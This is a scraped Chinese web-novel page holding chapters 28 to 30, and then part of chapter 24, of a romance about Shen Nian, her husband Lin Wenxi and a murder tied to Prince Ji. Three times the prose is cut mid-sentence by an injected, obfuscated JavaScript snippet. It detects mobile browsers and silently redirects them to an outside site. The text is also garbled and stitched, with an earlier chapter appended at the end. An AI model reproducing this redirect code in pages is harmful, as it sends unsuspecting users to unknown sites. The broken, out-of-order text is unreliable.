林闻溪拉着沈年的手从他膝盖上移,想要带她摸到何处不言而喻。 沈年发觉这人纯情的时候是真纯情,大胆的时候也真大胆,被他弄的脸上发烫:“莫要胡闹,等你病好了,不在这一时半会。” 林闻溪不依不饶,倚在她身前眨巴着眼道:“求你了。” 他如此这般央求只是想趁着今日天阴,沈年在榻上看不清楚他胸前的那道疤而已。 沈年哪里能抗的住这男人这样,脑子一热答应。 林闻溪将衣裳穿好后才叫沈年下榻点灯,沈年拿来帕子让林闻溪净手,他从前明明十分青涩不知道从哪学会了这些。 林闻溪听沈年说这些觉得是对他的夸奖,从后面靠上来意犹未尽舔了下她的耳边,“还不都是跟三娘学的,下次就让我试试这样吧如何?” 沈年伸手捂住他的嘴,“我哪教过你这些东西,以后再也不着你的道了。” 林闻溪揽着她哼了一声睡下,沈年戳了他一下道:“我还有个好消息没跟你说呢。” “什么?” “过两日我也许要被赐官了。” 林闻溪闻言欢喜恭贺:“三娘有这样的技艺,能入朝做官是早晚的事。” “清茸在我们院里住的不踏实,你往后随便指点事情给他做,养养花浇浇水什么的,让他好生待着。” “是。”林闻溪和声应着。 二人夜话,沈年又絮絮叨叨讲了许多,把今日沈修撰与她讲的又讲给林闻溪听,让他往后防着点院中的守卫,讲着讲着也不知道是哪个先睡着,屋中静了下来,只听得见潇潇的雨声。 林闻溪的腿今夜也没发作一夜无梦,早起雨还未歇沈年不用去上值,起来说要去官属拜见宋昭佛。 昨夜听沈年说了来龙去脉,林闻溪不免的要问一问沈年想了要拿什么东西送他。 “还记得那个男扮女装在野庙中被杀掉的刘知夷吗?那案子的凶手至今还没有查到,”沈年抱了一壶酒在怀中回首向林闻溪道,“我这就去告诉她。” 28. 第 28 章 沈年擎着一把伞先往罗府走了一趟,案子尘埃落地罗从宛想来也要动身入京准备殿选,文中她被一纸圣书分去了做了平卢县的县令,在那一呆就是三年。 平卢县是个地方小县,被几座青山围着环境潮湿偶尔还会有林中的瘴气流进城中,罗从宛水土不服赴任半月就生了一场,被男主沈岳施针治好埋下了二人的感情线。 男主沈岳的父亲是个聪明人,他早瞧出了沈父的手段,在男主还小的时候就将他送到远在平卢县的阿姐家寄居,之后回京被已是寡夫的林闻溪从中作梗,与女主误会另与她人成了婚。 沈年算了算,河道完工的时日与男主沈岳从平卢县回府的日子相合,虽说林闻溪现在转了性,但有翠娘的前例在,一切也说不准。 沈年一面将伞面往前倾挡着飘进来一面想着日后要盯紧林闻溪才行,她低头避着脚下的水坑与迎面而来的男子撞在一起。 男子跌坐在地上沾了一身的淤泥,手边的伞被风吹着落到沿边的小河里湿的七零八落漂流而去。 沈年将手中的伞撑到男子头顶,下意识探出手去扶他,见男子向后躲了躲而后又讪讪地收回来,“我只顾着遮雨了没看路,实是不好意思......你还好吧。” 雨丝绕在沈年身上,顺着她的脸滴落,男子仰头看了她只一眼后忧郁垂首道:“无事。” 他自己撑着地缓缓站了起来,纤白的手指骨节上沾了一层黄泥,直起腰他的身形格外显得高。 “这身衣服你得赔给我。”他从袖口抽出一张素绢将手上的污物擦去,随手丢到地上道。 沈年抹了抹脸上的雨水,将怀中的酒坛放在路边掏出三五两银子递给他,“这些应该够买你这一身衣裳了。” 男子摊开手心接过又吐出一句话道:“我没伞,你要送我回家。” “公子拿去用,我便不上门了。” 沈年觉得此人有种奇怪,留了心只将伞柄交到他手边,那男子倒也没再说什么撑着伞独自走了。 沈年被雨打的浑身湿透,所幸雨势渐小且离罗府也没多远的路了,她快跑了两步刚巧遇到罗从宛也在路上。 进了罗府换了一身罗从宛的衣裳,捧着她端过来的姜汤暖了暖身子。 “正巧赶着今日下雨,想着沈娘子会得空,我正打算出门去拜别沈娘子,”罗从宛围着小火炉煮着沈年带来的酒愧疚道,“可惜每回都迟了沈娘子一步。” “明日雨停我母亲也正要回京呢,从宛可跟随母亲的官队一同走,行程更快也安稳。” “沈大人有官命在身,怎好打扰。” 沈年道:“我在兰城不也是托了罗督丞的照应,况且又是顺路没什么打扰的。” 罗从宛斟了两杯温酒,招呼沈年坐过来碰杯同酌,“不多言谢,此酒甚好,青梅前味酸涩细品却是醇香甘甜,便如你我今日一别日后定能相见于盛时。” 她说着仰头将酒倒入喉中,前路未卜她虽这般说着仍是不免露出哀愁之态。 “无论你信不信我都要说,来日你会成为京中明堂之上最亮的那一颗珠,”沈年握着她的手挑眉一笑道:“而且我们日后定是要时常相见的。” 罗从宛只当沈年说的是醉话,扭头见甲卫已在门口等着,开口唤她进来。 沈年回身看去,她穿着一身干练的素衣也是浑身湿乎乎的不知从何处弄一脚的泥,停在门前并未踏脚进来。 罗从宛似有醉意,懒懒的伏在桌上道:“她这人不管刮风下雨都要去林子里舞刀练剑,我也劝不动她。” 沈年起身走到她面前,要开口才发觉一直也还不知她的名字便问了一声。 “我们这些人自小被收养关在营房中练武,没有名字只有排名。”甲卫取下脖子上挂着的铭牌,沈年接过一看上面刻着“伍”字。 “和你一起的那些甲卫也都是被收养的?” 甲卫点头回道:“大半是各处无家可归被霁王的人捡回去的,还有些是当年巫蛊案从各府中逃出来的,有的是府中老仆的孩子,有的也可能是那些罪臣的后人,她们即便是还记得自己是何名何姓也不会说的。” 沈年问她:“那你记得吗?” 甲卫迷茫摇头:“不记得。” “那你可知道刘知夷与霁王之间究竟有什么渊源?” “我们这些人出了营便被霁王派到了这里看管那些被送进来的男人,再也未见过她。先前还不知道刘知夷是个男人,只觉得那人很怪,每日过来便一人钻进那间屋里,有那么一两回在里面一呆就是几日,里面还有些怪声像是敲鼓一样。” 沈年闻言捏着甲卫的铁牌在手中思量片刻,“可否将这牌子放我这里,我有用处。” “沈娘子要用的就拿去吧。” 沈年听闻抄刘知夷府上的时候并没有搜到刘宅的有多少家财,除了那张挪不动的地皮,刘知夷所掌的二房这边几乎只是一个空架子,那各间铺子里也没有多少存银,全数叫刘知夷每月清点出去了。 刘知夷的家财落进了谁的口袋,不用想就知道。 而且刘知夷那夜里在野庙里穿着一身雍容华贵男装,要见的人想来也只有霁王了。 霁王早知道他是个男人,而且以刘知夷身上的痕迹来看二人那夜似还亲近过一番,为何又会提刀将刘知夷杀掉,还摆出那般折辱他的死状。 沈年回神不再去猜,反正将此事告只宋昭佛,她自会着人去探查。 “清茸他已经能下地了,只不过他没提起过你。” 甲卫听到清茸的名字抬头嘴巴张了一下,“他好好的就成,不提我也免得再伤心,我跟罗娘子这一去不知何时能回来劳烦沈娘子多关照他。” 沈年转头看向伏在桌案上睡着的罗从宛,“你跟着她安心做事,往后与清茸或许有丝转机的话,也能让他过些好日子。” “还有,往后为自己取个名字吧,听清茸讲你曾与他说过要带他出来,忘记从前的那些过往过新的日子。” 她在雨中站着像是株青松,默声点头不为风雨所动,目送着沈年撑着伞从府中离去。 沈年去时宋昭佛正在廊亭中作画,被沈修撰点出了内情,沈年在她面前不在那般拘谨,笑着声进去道:“冒雨前来,未扰了宋大人的雅兴吧。” 宋昭佛瞥见沈年两手空空而来,执笔继续在纸上描摹着荷叶,未动身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437005|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相迎。 沈年并不在意,自顾自的在亭边坐下。 “今日前来特为谢宋大人的恩,我备了一份厚礼要呈给宋大人。” 沈年说着从襟中取出铁牌提着绳子在空中晃了晃,宋昭佛抬起头来,转头示意左右小侍走过去从沈年手中接过。 宋昭佛身为皇亲对此物一眼辨出,“这是王府中才用的规制,不过只是一个寻常亲卫的铭牌,如何说的上是厚礼。” 沈年将事情和盘托出让宋昭佛一骇,“霁王一向不显山露水的,竟然如此早便开始做局偷偷将那些罪臣的的孩子都养大做亲卫!” 这些罪臣之后亲见父母无辜被先帝诛杀,心中愤恨可想而知,必定将怨恨全数积在当今陛下身上,霁王将这些人养在身边的意图自不必说。 “此事牵涉甚大,小民一直藏在心中不敢同旁人说起,霁王她筹谋多年宋大人要早做应对,若能查出真是霁王与刘知夷相会抢财杀人,便可让她颜面扫地,若想谋反朝中也无人相应。” 沈年此举无疑是向宋昭佛投了诚,毕竟霁王也朝中颇有威望,此时若是振臂一呼想要黄袍加身,也未尝没有人拥护,她揭破此事对陛下这一支来说的确是一份厚礼。 宋昭佛惊出一身冷汗,那张图也被手中笔尖滴落的墨染出一团黑污,她顾不得命人前来收拾,向沈年道了一声便急匆匆拂衣而去。 林闻溪回去见沈年换了一身衣裳回来不言语,专从榻上起身下来假装不经意细闻了几下,没闻到什么才算是信了沈年的说辞。 沈年也唯恐自己又招来了什么怪人,或者又是阿久给她挖的什么坑,连着两三日出门回院都唤小薇寸步不离的跟在身边,不过一切无恙,风平水静。 那男子也没再出现在她眼前,沈年暂且忘了这事。 陛下的圣书下的快,御前的人骑着高头大马呼着她的名字,沈年掀开帐子一见官衣上绣着青雀便知是何事,喜面迎上去领旨。 沈年低头跪着听得虞部司少卿几字,她笼统知道虞部司隶属工部至于少卿是个什么官便不大清楚了,听完旨又是几番磕头谢恩,直到那御官唤她起身才抬头站身。 御官面上挂着笑脸向沈年拱手道:“恭喜沈大人了。” 沈年躬身一谢想客气几句请这御官进帐中喝杯茶,对方摆手道有事,起身跳上马往官属方向而去,宋昭佛今日未来,想来这御官是去寻她了。 等人走后周围人簇拥上来恭贺,沈年才是这官是从六品,比起沈修撰来说是不算什么,可比起初登仕途之人来说已算是高位了。 回去时院门口挂着几串红鞭炮,门环上还挂了朵绸缎缠成的大红花,白石扶着林闻溪等在门口迎接。 林闻溪这两日可以自己下地来走走了,见了沈年笑吟吟递给她一只燃着的香,“这鞭炮要三娘亲手点响更喜庆呢。” 白石和小薇在旁拍着手欢喜道:“明日是三娘子生辰,今日我们院子里也算是双喜临门,放个鞭炮把先前的霉运都驱走,迎迎喜。” 沈年点着线后跳到门前的石阶上,林闻溪捂着耳朵钻进沈年怀里倚着,鞭炮噼里啪啦乍开一地红纸屑,院里的一众人都钻出来看热闹。 29. 第 29 章 沈年无功名傍身一跃成了六品官娘子,逢到主子家这样大的喜事这些个小侍从免不了要讨个彩头,林闻溪摆着一副当家正君的派头,开口各自赏了两个月的份例银子。 林闻溪在园中设了小宴,一院子人喧闹到月上云稍才散了席。 回屋点起灯,林闻溪又围在身边帮沈年试她的官服,一身月蓝色在铜镜里朦胧看着着似只垂着翅的蓝蝶。 “你今儿站久了坐着歇会。” 林闻溪脚步飘乎乎的,沈年抓着他的手腕往一旁矮榻上坐。 沈年弯腰低下头在灯下细瞧才看见林闻溪的面颊上红扑扑的,虽说是夜里但外面并不冷应当不是着凉,而且沈年隐隐的从他呼吸中闻到一丝淡淡的酒味。 席上沈年几乎一直都在林闻溪旁边看着,不知道他是什么时候找到机会偷喝的。 林闻溪身子刚见好一点,沈年叫他继续再榻上躺几日,他嘴上应着等着沈年清早一出门就穿衣下榻忙着打理园子中的琐事。 沈年回来说他一嘴,他学了一招缠在沈年身上撒娇三言两语糊弄过去,第二日照旧。 今日更甚当着她的面偷喝起酒了,沈年心里想着非得治一治他,面上不动声色问道:“你这脸上红红的是怎么回事?” “啊?”林闻溪扭脸照了下镜子,眼神向下瞟了瞟,回脸将胳膊环在沈年肩上道:“我只是有些热。” 沈年将他的手从肩上拽下来,“觉得热就不必和我贴这么近,早些洗沐睡下吧。” 林闻溪不察觉起身唤白石扶着他出去了,从浴池子里出来擦干,白石替他往身上伤疤处涂药。 他将镜面上的水珠抹去仰起脖子凑近灯烛问白石:“我这疤痕有没有淡下去一些。” 白石道:“郎君这药膏比药铺子里卖的还要管用呢,比前两日已经痕迹已经消去不少了呢。” 林闻溪满意点了下头,又腼腆开口问白石他的身形看起来如何,有没有匀称些。 白石摇头,“郎君病的时候消减太多,不是三五天就能补回来的。” 林闻溪闻言怅然一叹,站起身来转身瞧了下镜中的轮廓,白石跟在林闻溪身边多时自然知道他心中在愁什么,拿起里衣边帮他穿上边说道:“三娘子对郎君如此上心,不会在意这些的,郎君莫要太焦虑此事。” 林闻溪浅浅笑了下,捧着药碗喝下又饮下一口甜汤,神清气爽回屋中寻沈年去了。 撩开纱帘见沈年已松了发髻面朝里面歇下了。 林闻溪上塌揽着沈年的腰道:“三娘今日怎么不等我就睡。” 沈年挪了挪身子躲开林闻溪的手淡淡地道:“累了。” 林闻溪的手僵一下,沈年刚才的小动作明显是故意的,他又试探着将手放在沈年后背,“那我帮三娘捏捏背。” “不用了。”沈年冷淡用手肘推开他的胳膊道。 林闻溪安静躺了片刻,弱弱开口问沈年是怎么了。 “你今日趁我不注意偷喝我杯中的酒了。”沈年懒得在卖关子问他道。 林闻溪听到沈年是为着这桩小事闹别扭,没当回事贴在沈年背上软声软气哄她道:“我见众人都喝,嘴里乏味只是抿了一点而已。” 沈年甩开他的手坐起来,“你嘴这么馋怎么不把那一整杯都喝光啊。” 林闻溪跟着起身将脸凑过来又要使他那一套,被沈年扭脸躲开。 “就这一回,我日后不喝就是了。” “这话你都在我面前说了几回了,日后又瘫在榻上,我可没工夫管你。” 沈年冷冰冰撂下话自己挤到最里面背身躺下,林闻溪自觉钻进被子里不敢再动弹。 他胸口堵着口气不敢睡,听到沈年呼吸平缓后又想着悄悄贴过去求和,又被她用力的推开。 “三娘......”林闻溪心急着唤沈年。 沈年扔了个枕头挡在两人中间,“自个睡,别挨着我。” 沈年听着前半夜林闻溪一直翻身不眠,后来渐渐听见没了声音,她也不敢转头去看人睡着了没有,万一转头林闻溪睁着眼见她心软又得缠上来软磨硬泡,今夜她这脾气就算是白发一通了。 不知什么时辰她合眼入梦,早起林闻溪又藏在她怀里用被角遮着脸。 沈年掀开见林闻溪的眼角微微一颤,便晓得这人是在装睡,看他耍这种不太聪明的小把戏,一时按捺不住笑出声。 林闻溪抬起一只眼偷看沈年,握着那只木刻猫从被中探出手,举到沈年眼前出声喵了一声,小声说道:“三娘生辰安康。” 这木猫刻的似能看见猫身上的一根根细毛,尤其那对猫眼瞳孔黑亮亮的泛着光点,灵动传神真如同活物一般。 沈年捧在手中低头惊喜的看向林闻溪,“送给我的?” “嗯,小玩意不值什么钱,三娘还喜欢吗?” 沈年扑倒在林闻溪身上用力点头,“是那只猫,你不是不喜欢它,怎么能刻的一模一样。” 林闻溪心中石头落地抚着沈年的头,“那昨夜的事三娘不要气我了,我不喜欢一个人睡。” “你想掌家管起这后院来这没什么,大可和我说,也不急在这一时半刻的。” 林闻溪自认在沈年面前并不坦诚,沈父过些年终究也是要回来的,他自得趁着这些年将后宅掌在自己手中,毕竟沈父可是对他动了杀念的,来日这怨他早晚也要寻他算一算。 他也不能真指着沈年轻飘飘一句话过日子,总要抓点实在的东西在手中才能安心。 这些盘算他自是不会向沈年吐露半字的,他心底那些潮湿阴暗的沟壑是见不得光的。 林闻溪又向沈年撒了个谎:“如今院中里里外外的人多了,三娘在外辛苦,我也只是想尽正君的本分为三娘理好后院。” 见沈年信了他的话,林闻溪继续答应道:“日后我听三娘的话,暂且不管了就是。” 林闻溪送的生辰礼着实是送到了沈年心坎上,沈年抱在怀里不撒手,临出门时还亲了一口摆在枕头旁。 “真是……”林闻溪见沈年只顾着亲那猫,反倒冷落他在一边,撇了嘴怨念道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444514|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈年闻声过去与他贴了贴脸,咧嘴笑着哄他道:“今晚等我回来带你出去放河灯。” 傍晚沈年回来接了林闻溪,林闻溪在屋中憋闷了这些时日,趴在马车窗前吹着晚风,远远的瞧见河上的那长石桥。 河岸边三三两两站着人,放眼看去都是年轻娘子和郎君,一手中捧着河灯,一手在红布条上写字,河面上月光波光粼粼,星星点点的飘着盏盏小灯。 马车停在街边,沈年揽着林闻溪的腰下来。 “先过去那看看,你喜欢什么样子的。”沈年指着前面卖河灯的几个小摊牵上林闻溪的手带着他往前走。 林闻溪低头看看沈年的手指在他手背上摩挲,绯红着脸脚步顿了顿。 沈年扯了扯林闻溪身上的披风,“怎么了?” 他腼腆笑笑:“没……没什么,外面真热闹。” 沈年捧起一盏粉色的荷花灯给林闻溪看,微亮的灯烛照在她的脸上分外好看。 “这盏如何,喜欢吗?” “好看。”林闻溪说着也弯腰拾起另一盏灯面上画着一对双鱼正戏水。 沈年给摊贩付了银两,带林闻溪到河岸边蹲下,将河灯放在水面上学着他的模样,双手捧在面前祈愿。 沈年睁开眼见林闻溪还闭着眼,直到河灯已经顺着河水飘出去老远他才将眼张开。 “你许这么长的愿菩萨能记得住嘛。” 林闻溪望着河面上的灯,见无人往这边看偷偷窝在沈年肩上,“爹爹没银子给我买这么漂亮的灯,我以前只能在角落羡慕别的小孩子放,好不容易出来一趟要把以前记在心里的愿望都说一遍才行。” “我不知道......”沈年转头在林闻溪额头上亲了亲。 林闻溪张望着四周红着脸直起身子,看见对面岸边的男子正直直的看着他和沈年,又惊又羞地躲到沈年后背:“三娘怎么也不说一声,叫人看了个正着。” 沈年抬起头往对岸一看正是那日她撞到那男子,他弯腰下去往河里放下一盏白色的纸灯后准备转身走。 沈年起身拉着林闻溪把他送回马车,穿过石桥去到对岸去寻那男子的踪迹已不见了人,她到岸边盯着他放的那盏灯,上面不写着字,也未画什么图。 且她总觉的以前在哪里见过这人似的,但又忆不起来,一头雾水回去同林闻溪说起这事。 “我刚只瞧了那男子一眼,脸倒是没看清楚,只觉他身量扎眼,比平常男子要高出半个头呢。” 林闻溪这一句话点醒了沈年,有这样身形的人她还见过一个,便是刘知夷。 以两人的年纪来倒像是一对父子。 沈年回想着两人的脸,还有河面上的那盏灯,若他真是刘知夷所生,那他的母亲会是……霁王。 刘知夷若与霁王有过孩子,那他先前口气那般狂傲也能说的通了。 只是这男子那日雨中故意来接近是何用意,还有今日在岸边遇见应也不是什么巧合。 还有他那日还找借口让她跟他回家,今日怎么又躲着走了。 30. 第 30 章 沈年未将她那一身官服穿出门过,只是人们逢见到她都改唤了一声沈大人或是沈少卿,她一时半刻难把自己与“大人”二字相搭起来,总感觉这名头安在她头上哪哪都不相宜。 不过有了这层身份,沈年查起那男子的下落来方便不少。 沈年听那男子的口音并不是兰城之人,大有可能是近几日才来的,林闻溪只瞥了他一眼便能记得身形,城门口的官差大概也会留有印象。 入城之前都要在簿子上登记了户籍文书才能放行,去翻一翻登记簿子或能查到这男子的身份。 沈年趁着午间去向城门口的官差打听,她一提起来官差就回说是有这么一个人,昨夜城门马上要关的时候这男子已乘着马车出城去,因为这男子行色匆匆她们还留心检查了一番才放行。 看簿子上留下的名字,男子的姓氏与刘知夷并不一致,与霁王好像也没什么牵扯,男子名唤陈孟君,永州人氏。 因先帝有一出身民间的宠君名唤梦钧,故许多人家也盼着自家男儿也能飞上枝头,多化用为孟君二字作为男子的名。 此名现在就如同张三李四一般,一石头扔下去能砸倒一片。 永州又离京城千里迢迢,这人一走实在是无处可寻。 若是找到这男子或能坐实霁王与刘知夷的私情,但沈年细细想了想还是并未把此事告知宋昭佛。 这男子隐姓埋名躲到千里之外,此番来兰城或许是听说了刘知夷的死讯前来吊唁而已,看着他一脸忧郁的神情想来过的并不如意,未知其中原委沈年想着自己不该无故将人扯入这漩涡之中。 沈年过后还寻到了那男子所住过的客栈,也是干干净净未曾留下什么,这桩事暂且不了了之。 沈年一心忙她的事,有城墙上挂着那十几个人头震慑,又有宋昭佛留在此地坐镇,这坝修的极为顺利。 河道上的劳工们见着沈三娘子从清早来一钻进库房里就是一整日,日暮出来时里面地上就摆了一溜新的石凿铁锹。 其中不乏有人想去偷师,蹲在墙角偷看沈娘子在里头弄什么名堂,被沈娘子回头看见笑呵呵的招手请她进来,按在凳子上指着图纸口若悬河如同教书先生一样讲的人头晕,便捂着肚子寻了个更衣的借口溜了出去。 宋昭佛的脚更是未沾过库房门前的一点土,沈年每次从那出来不仅浑身一股铁屑味,还沾着一手黑乎乎的油,宋昭佛生性喜洁,回回都嫌弃的拿着帕子捂着脸,叫沈年站在帐子门口回话不许到她近前来。 沈年这边想寻个学徒留不住人,找宋昭佛商议又被她当成瘟神一样,一人成日在库房里郁闷的很。 工期一日日缩短,沈年以防出什么岔子,只好自己日日风雨无阻早出晚归的,一日回院的时候打更的梆子都敲了四声。 苦了林闻溪每天瞧不见人,还在夜里痴痴等着人回来,灯油都要多添几回。 沈年四更回来那日,林闻溪头一回跟她发了脾气,努着嘴给沈年擦了脸将帕子甩在木盆里,自己上塌靠在一边睡,气不顺憋着也不说话。 沈年跟过去搂着他的后背,下巴抵在他肩上说:“生什么闷气呢?” 林闻溪不吭声,依旧闭着眼。沈年只好就这么抱着他,说:“今日一时忘了时辰,日后不会这么晚了。” 林闻溪阴阳怪气呛她:“沈少卿一双巧手,不如在河道上给自己造个屋子出来,往后就住在那省再的回来。” 沈年低头在他脖颈上亲了下,亲完又蹭了蹭林闻溪的脸说:“你在这里我哪舍得走。” 林闻溪悄悄笑了一下,转过身面着沈年,抬手摸摸她的脸。他的手指按着沈年的下唇抚了抚,他散着乌发身上散着刚沐浴过的清香,半垂着眼眸不敢与她对视。 林闻溪身子已养的好了许多,沈年俯身亲吻,久未亲近二人都有些生涩,抬起头时林闻溪胸膛起伏,眼里似洇着水一样湿润润的。 沈年想着补偿他,“我先前答应你的,明日带你去摸鱼,到山上去挖青笋。” “好。” 林闻溪微微向她笑着,动手想去拉开身上的衣带,被沈年按住手。 他不解小声问道:“三娘不想吗?” 沈年为难道:“你这体质万一再有孩子……还是算了。” 林闻溪不敢跟沈年说那是他喝了几碗坐胎药的才得来的孩子,他打消沈年的顾虑道:“那一回说不定只是运气好,而且明日可以喝避子汤便不会有的。” 沈年躺下拍着林闻溪的背疏解:“你本来就喝不少药,再忍忍过些时候再说吧。” 林闻溪只好又硬生生将心中的悸动压了下去,其实每回沈年轻轻碰一下他便很快有反应,但这种事他一直羞于启齿,次日晨起的时候趁着沈年未醒,换了衣裤去在浴池里泡了一会才算好。 一早日头明媚,林闻溪带着顶竹斗笠,背上背篓兴冲冲跟着沈年出门。 院中的一干人都在,小薇和白石前头提着锄头和鱼竿打闹,清茸默默跟在后面,沈年特意唤了他出来散心。 几人先去了山上踏青,林闻溪看见什么绿苔野草就指着问沈年是什么名物,沈年也支支吾吾答不上来,一直默不作声的清茸对这些倒懂,开口给林闻溪讲了几句。 但凡稍有点用处的,林闻溪就采几株塞进背篓里,还没见到笋就已经背了半篓。 爬了半个山坡,沈年唤众人停下脚先歇歇。 沈年抓着林闻溪的后衣襟,按着他的肩坐在石头上。 “三娘,我还不累。” 沈年将水袋递到他手边,看了看他一背篓的杂草,不好说什么扫他的兴。 “你不累别人累,安静坐会就是。” 林闻溪哦了一声,捡起那几根破草跟在沈年耳边嗡嗡的一直念,跟三岁小孩显摆自己的玩具一样,沈年敷衍点头相应。 坐了片刻他又起身跟白石拿来了锄头,拉着沈年准备扛起他的背篓往坡上面去。 沈年先一步背起来,“你在前面探路。” 林闻溪欢喜蹦着往上去了,过一会停在一处唤她过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448142|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈年倚在一颗树上翘着脚,“你挖吧。” 林闻溪使一身的力气挥着锄头,沈年不管他眺望着山下的景色。 等他这股新奇劲散了,自然也就没力气太折腾了。 果然过了一会,林闻溪将挖来的青笋放在背篓里,累的半蹲在地上气喘吁吁。 “累了?”沈年转过头来俯身敲了敲他的斗笠问道。 “嗯。” 林闻溪仰起头,脸上一层薄汗,向沈年伸出胳膊。 沈年托着他站起来,把锄头递给刚上来的小薇二人,背上东西,“那我们下去坐下歇歇。” 扶着他下了山坡,坐在石头上喝水。 清茸坐在角落望着山下吹风。 二人方便说话,林闻溪将手放在沈年的脸颊上,他的手心发热,被锄头的木柄磨着微微发痛。 林闻溪一副撒娇的语气:“三娘,我这手又烧又痛的。” 沈年握着吹了吹气,“没事,你太用力过会就好了。” 林闻溪坐着朝山下一个方向望了好一会,突然兴奋拉沈年站起来走到山坡边上,指了指道:“那就是我们住的院子。” 山上的风凉,吹着两人的发丝,林闻溪有些冷靠在沈年身上,沈年牵上他的手又陪着他寻先前住的院子在何处。 林闻溪道:“改日该回去看一看呢。” 下了山林闻溪坐在树下看沈年拿着鱼篓下河摸鱼,那鱼在水里滑不溜秋的蹦起来甩尾溅了沈年一脸的水,沈年皱着眉头生气在水里去追那条鱼。 林闻溪盯着她笑。 衣裳弄的浑身湿淋淋的才总算抓来一条,林闻溪唤她上岸来,捡了些木枝来烤火,又从襟袖中取出帕子为沈年擦身上的水。 二人亲昵惹的白石开口打趣,林闻溪在外人面前一向脸面薄,被说一句脸就从里到外红透,转身忙着帮忙收拾鱼虾去了。 这些鱼虾刚从水中捕上来不用加什么佐料,只架在火上一烤就滋味十足,沈年夸了句林闻溪烤的火候正好,他就不顾自己吃了全递给沈年。 午后天上积起云,吹了股冷风来一行人才灭了火苗回去。 沈年回去换了身衣裳,小心凑在林闻溪跟前说自己还得去河道上值。 林闻溪倒不是生气,只是怕沈年这样日日没个空歇息累出什么毛病来,“怎么最近这么急,可是工程延误了要赶工。” “那倒不是,进度比预计的还要快几日,只是我怕有什么夜长梦多,早日完工早些安心。” 林闻溪点头,只是让沈年别再忙到三更半夜才想着回来。 送了沈年出门,林闻溪想着沈年说快要完工的事情,在院门口望着街猛的怅然若失。 在这兰城小院里过惯了日子,在京中宅府中的生活仿若都像是上辈子的事情了,那时的他与现在全然是两副样子了。 他来时所求的一切不知不觉间竟全都有了。 一时想到日后要回京中去,他倒觉着心里空荡荡的,有什么东西被抽去了一样。 24-30 24 第24章 ◎“下辈子也娶我好不好。”◎ 沈修撰从狱中出来被随从搀扶着上了马车前往官属寻沈父。 沈年回院途中被一辆马车拦住路,从侧边帘中探出一只玉扇来,穿过缝隙沈年瞥见宋昭拂的脸。 她颔首隔着车帘作礼,恭敬唤了声宋大人。 宋昭佛在里面悠悠说道:“沈三娘子可是欠了我好大一个人情呐。” 沈年不明所以,思忖了一瞬只想到或许是她今日告假又惹了这位宋大人嫌,“家中突生变故实是抽不出身,望大人体谅一二,日后定不会再缺值。” “请沈三娘子上来说话。” 车夫闻言将车门打开半扇,跪伏在地上示意踩着她的背上去。 “宋大人我家中……” 沈年正想婉言推辞,宋昭佛出声打断她。 “沈三娘子的父亲派人来强掳那林氏,已被我的人救下安置到别院去了。” 沈年啊了一声,看着车夫的背无处下脚,抓着木框连蹬带爬的滚进了车厢,宋昭佛皱着脸向后一躲。 “放心沈娘子的郎君暂且无碍,本官已留了大夫照护。” “谢宋大人相救,我一人分身乏术顾得了这头就要落下那头,已是心力交瘁,若再出什么意外,真要去撞头了。”沈年说着从木板上坐起来拍了拍衣上的尘土,“不过宋大人怎会刚巧在我家院中?” 宋昭佛被沈年问的一愣,拿扇面在额头上敲了敲才说道:“本官想去问问沈三娘子何时能回来当差,正撞见沈主君的人持刀带棍的冲进来,情急之下只好命随从将林氏连同他屋里的那侍从裹着被褥抬出来救走。” 沈年道:“宋大人大恩,来日我定备一份厚礼呈送到您府上。” “什么厚礼都不如沈三娘子对朝廷还有陛下的忠心,你可明白。” 宋昭佛本在京中耳闻沈年的技艺,觉得不过尔尔,自前几日亲眼所见便被其折服,这样不可复得的大才要早些拢到手中,若迟一步被有心之人掌控,新帝的凤位恐怕更加摇摇欲坠了。 她这话中有话,有意垂青,更有意试探。 宋昭佛将手中的扇子折起把玩,盯着沈年的眼睛审视。 沈年哪里懂这些官场门道,一味的剖出真心想什么便说什么:“此事关乎数千百兰城百姓的性命,待府中的这些事了结之后下官定会心无旁骛,不负陛下所托竭心尽力。” 宋昭佛难得对着她笑了笑,“如此甚好。” 沈修撰是官场中历练多年的老油条,又滑又腻的,嘴里的话不知那句是真,哪句又是假,宋昭佛极不待见她。 不料想这沈年心如白纸一张,清新无邪一眼可以看到底。 宋昭佛满意的在心中盘算给陛下上书求赐给沈年个一官半职好彻底将沈年拴牢,再无别党可依。 马车停在一间高墙大院前,门口摆着两只威严的镇宅神鸟,十分气派。 “沈三娘子的那间小院已被那几几个歹人砸坏,无法住人了,过两日将东西搬过来在此住便可。” 沈年受宠若惊都不知该如何言谢了,目送着宋昭佛离开才推门而入。 